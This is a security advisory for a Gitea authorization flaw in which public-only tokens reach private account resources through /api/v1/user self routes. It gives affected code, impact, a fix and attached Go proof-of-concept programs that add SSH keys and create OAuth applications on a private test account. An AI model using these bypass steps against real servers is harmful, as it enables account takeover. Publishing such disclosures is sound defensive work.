GHSA-wrr5-99h5-gq57 CVE-2026-24791 GO-2026-5721
Gitea: Public-only tokens bypass private-resource restrictions on `/api/v1/user` self routes
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.45%
- Chance of exploitation in the next 30 days. Higher than 38.95% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
1.26.2- Upgrade code.gitea.io/gitea to this version or later
Description
Summary
Many authenticated self routes under /api/v1/user/... do not enforce the public-only token restriction. As a result, a token or OAuth grant marked public-only, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes.
The canonical private-user endpoint correctly rejects the same tokens, for example GET /api/v1/users/{privateUser} returns 403. The bypass exists because the generic /api/v1/user route group requires user scope and reqToken(), but does not enforce the token's public-only restriction for most self routes.
This is a systemic token/OAuth scope-boundary bypass, not a single endpoint bug.
This appears related to the previously fixed public-only token issue tracked as CVE-2025-68941 / GHSA-xfq3-qj7j-4565, which affected Gitea < 1.22.3. The behavior described here reproduces on tested main checkout 6a2706626904. A representative SSH-key self-route PoC also reproduces on tested releases through v1.26.1. In other words, this should be treated as an incomplete fix / residual gap in a different route family, not as a duplicate of the older advisory.
Affected Code
The generic /api/v1/user group is mounted with user scope and reqToken():
routers/api/v1/api.go:1008-1128
tokenRequiresScopes() sets ctx.PublicOnly when the token contains public-only, but the public-only restriction is enforced only by routes that also call checkTokenPublicOnly():
routers/api/v1/api.go:241-294implementscheckTokenPublicOnly().routers/api/v1/api.go:299-341setsctx.PublicOnlyfrom the token scope.
Representative affected routes in that group:
/api/v1/user: private self profile and settings./api/v1/user/emails: read, add, and delete account email addresses./api/v1/user/keys: list and add SSH public keys./api/v1/user/applications/oauth2: list and create OAuth2 applications, including returned client secrets./api/v1/user/actions/secrets/{secretname}: create or delete user-level Actions secrets./api/v1/user/actions/variables: list, read, create, update, and delete user-level Actions variables./api/v1/user/actions/runners/...: list, update, delete runners, and mint registration tokens./api/v1/user/actions/runsand/api/v1/user/actions/jobs: list workflow metadata for private repositories./api/v1/user/repos: create private repositories and list private repositories./api/v1/user/subscriptions,/api/v1/user/times,/api/v1/user/stopwatches,/api/v1/user/teams,/api/v1/user/hooks: leak or modify private-account resources.
Correct public-only enforcement for comparison:
routers/api/v1/api.go:970-1008appliescontext.UserAssignmentAPI()andcheckTokenPublicOnly()to canonical/api/v1/users/{username}routes.routers/api/v1/user/user.go:122-125rejects public-only access to private users on/api/v1/users/{username}.routers/api/v1/api.go:1091-1092shows that/api/v1/user/reposrequires the additional repository scope category, but still does not applycheckTokenPublicOnly().
Local PoCs
The following dynamic PoCs were retested on checkout 6a2706626904 and all reproduced successfully. Each PoC writes a temporary integration test, runs it, and removes it afterward.
cd pocs
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_self_user_private_profile_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_ssh_key_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_emails_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_oauth_app_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_repos_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_registration_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_manage_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_webhook_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_runs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_jobs_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_subscriptions_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_times_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_stopwatches_private_repo_bypass_dynamic_poc.go
GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_teams_private_org_bypass_dynamic_poc.go
Reproduced Impact Examples
Using private fixture user user31, public-only tokens are rejected by GET /api/v1/users/user31, but tokens with the route-required scopes can still reach the self routes below.
Confirmed with public-only,write:user:
- add SSH keys through
/api/v1/user/keys; - add account emails through
/api/v1/user/emails; - create OAuth2 applications and receive
client_secretthrough/api/v1/user/applications/oauth2; - create/delete user-level Actions secrets;
- create/read/list/update/delete user-level Actions variables;
- mint user-level runner registration tokens;
- manage user-level runners;
- create user webhooks.
Confirmed with public-only,read:user:
- read private self profile/settings and account email surfaces;
- list OAuth2 applications and user webhooks;
- list private repository workflow runs/jobs exposed through self Actions routes;
- list private subscriptions, tracked times, stopwatches, and team memberships.
Confirmed with public-only plus the route-required repository category:
- create private repositories through
POST /api/v1/user/reposwithpublic-only,write:user,write:repository; - list those private repositories through
GET /api/v1/user/reposwithpublic-only,read:user,read:repository, while the canonical private repository endpoint remains forbidden.
Impact
The public-only token flag is intended to limit a token or OAuth grant to public resources. These routes violate that boundary for private accounts.
Practical abuse scenarios include:
- a third-party app or leaked token with the route-required write scope, but restricted to public resources, adding SSH credentials or OAuth applications to a private account;
- a public-resource-restricted token with the route-required write scope modifying Actions secrets/variables or registering/managing runners;
- a token limited to public resources creating and enumerating private repositories;
- a supposedly public-only integration learning private repository, workflow, team, timing, subscription, webhook, and email metadata.
Suggested Fix
Apply public-only enforcement consistently to self routes under /api/v1/user.
At minimum:
- for self routes, treat
ctx.Doeras the target user/resource owner when enforcingpublic-only; mechanically addingcheckTokenPublicOnly()is not sufficient unlessctx.ContextUseris set toctx.Doeror the check explicitly handles self routes; - reject
ctx.PublicOnlyon credential, identity, OAuth application, repository creation, webhook, Actions, runner, and email-management self-route mutations; - filter list routes so public-only tokens cannot return private repositories, private organization/team metadata, private workflow runs/jobs, private tracked time, private stopwatches, or hidden subscriptions;
- add regression coverage that compares each affected
/api/v1/user/...route against the canonical private-user or private-repository endpoint.
Non-public-only tokens should preserve current behavior.
Attachment: api_public_only_user_ssh_key_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
asymkey_model "code.gitea.io/gitea/models/asymkey"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserSSHKeyBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
Title: "public-only-private-key-bypass",
Key: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment",
}).AddTokenAuth(publicOnlyWriteUserToken)
resp := MakeRequest(t, req, http.StatusCreated)
key := DecodeJSON(t, resp, &api.PublicKey{})
require.Equal(t, "public-only-private-key-bypass", key.Title)
unittest.AssertExistsAndLoadBean(t, &asymkey_model.PublicKey{
ID: key.ID,
OwnerID: privateUser.ID,
Name: "public-only-private-key-bypass",
})
req = NewRequest(t, "GET", "/api/v1/user/keys").AddTokenAuth(publicOnlyWriteUserToken)
resp = MakeRequest(t, req, http.StatusOK)
keys := DecodeJSON(t, resp, []api.PublicKey{})
found := false
for _, k := range keys {
if k.ID == key.ID {
found = true
break
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/key.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_ssh_key_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserSSHKeyBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: the same public-only token with the route-required write:user scope can add an SSH public key to the private account through /api/v1/user/keys")
fmt.Println("reproduced: the same token can list that newly added key through /api/v1/user/keys")
fmt.Println("condition=private user issues a public-only,write:user token")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_oauth_app_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserOAuthAppBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser)
publicOnlyReadUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser)
MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyReadUserToken), http.StatusForbidden)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/applications/oauth2", &api.CreateOAuth2ApplicationOptions{
Name: "public-only-private-oauth-app",
RedirectURIs: []string{"https://example.com/callback"},
ConfidentialClient: true,
}).AddTokenAuth(publicOnlyWriteUserToken)
resp := MakeRequest(t, req, http.StatusCreated)
app := DecodeJSON(t, resp, &api.OAuth2Application{})
require.Equal(t, "public-only-private-oauth-app", app.Name)
require.NotEmpty(t, app.ClientID)
require.NotEmpty(t, app.ClientSecret)
req = NewRequest(t, "GET", "/api/v1/user/applications/oauth2").AddTokenAuth(publicOnlyReadUserToken)
resp = MakeRequest(t, req, http.StatusOK)
apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{})
found := false
for _, a := range apps {
if a.ID == app.ID && a.Name == app.Name {
found = true
break
}
}
require.True(t, found)
}
`
func repoPath() string {
candidates := []string{}
if repo := os.Getenv("GITEA_REPO"); repo != "" {
candidates = append(candidates, repo)
}
candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea")
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/app.go")); err == nil {
return filepath.Clean(candidate)
}
}
fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", "))
os.Exit(2)
return ""
}
func main() {
repo := repoPath()
testPath := filepath.Join(repo, "tests/integration/api_public_only_user_oauth_app_bypass_dynamic_poc_test.go")
if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil {
fmt.Fprintf(os.Stderr, "write temp test: %v\n", err)
os.Exit(2)
}
defer func() {
if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) {
fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err)
}
}()
cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserOAuthAppBypass", "code.gitea.io/gitea/tests/integration")
cmd.Dir = repo
cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto")
out, err := cmd.CombinedOutput()
fmt.Printf("source=%s\n", repo)
fmt.Print(string(out))
if err != nil {
fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err)
os.Exit(1)
}
fmt.Println("reproduced: public-only user-scoped tokens are rejected on the canonical private /users/{username} endpoint")
fmt.Println("reproduced: public-only,write:user can create an OAuth2 application for the private account and receives a client secret")
fmt.Println("reproduced: public-only,read:user can list that OAuth2 application through /api/v1/user/applications/oauth2")
fmt.Println("condition=private user issues public-only tokens with route-required user scopes")
fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N")
}
Attachment: api_public_only_user_repos_private_repo_bypass_dynamic_poc.go
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
const testSource = `// PoC test for private security report.
// SPDX-License-Identifier: MIT
package integration
import (
"net/http"
"testing"
auth_model "code.gitea.io/gitea/models/auth"
"code.gitea.io/gitea/models/unittest"
user_model "code.gitea.io/gitea/models/user"
api "code.gitea.io/gitea/modules/structs"
"code.gitea.io/gitea/tests"
"github.com/stretchr/testify/require"
)
func TestAPIPublicOnlyUserReposBypass(t *testing.T) {
defer tests.PrepareTestEnv(t)()
privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"})
require.True(t, privateUser.Visibility.IsPrivate())
session := loginUser(t, privateUser.Name)
publicOnlyReadRepoToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeReadUser,
auth_model.AccessTokenScopeReadRepository,
)
publicOnlyWriteRepoToken := getTokenForLoggedInUser(t, session,
auth_model.AccessTokenScopePublicOnly,
auth_model.AccessTokenScopeWriteUser,
auth_model.AccessTokenScopeWriteRepository,
)
req := NewRequestWithJSON(t, "POST", "/api/v1/user/repos", &api.CreateRepoOption{
Name: "public-only-private-repo",
Private: true,
}).AddTokenAuth(publicOnlyWriteRepoToken)
resp := MakeRequest(t,…
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | >= 1.22.3, < 1.26.2 |
1.26.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.26.2
- go
go get code.gitea.io/gitea@v1.26.2 && go mod tidy
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-2fcr-jfvc-vgg2 Gitea: Two SSRF findings | High | Also affects code.gitea.io/gitea |
| GHSA-fw57-jgch-pgf3 Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests | High | Also affects code.gitea.io/gitea |
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